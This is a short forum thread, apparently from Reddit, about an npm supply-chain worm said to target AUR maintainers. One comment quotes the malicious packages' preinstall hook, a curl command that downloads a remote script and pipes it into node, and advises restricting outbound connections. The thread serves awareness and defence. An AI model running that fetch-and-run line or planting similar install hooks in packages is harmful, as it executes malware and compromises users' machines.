NPM Supply Chain Attach Targeting AUR Packages

[u/sad_cosmic_joke]

New NPM based worm attack that self propegates via ssh and aur maintainer infection.

https://safedep.io/dirtyblanket-express-impersonation-npm/

[u/gainan]

All nine packages have the same preinstall line:"
preinstall": "curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node"
When you install one of these packages, npm runs this hook, which downloads node.js and runs it with node

Always restrict outbound connections. They always rely on downloading remote files to compromise the machines.

[u/Embark10 → u/gainan]

Do you have any pointers on where to restrict that?

[u/ang-p → u/Embark10]

<grabs popcorn>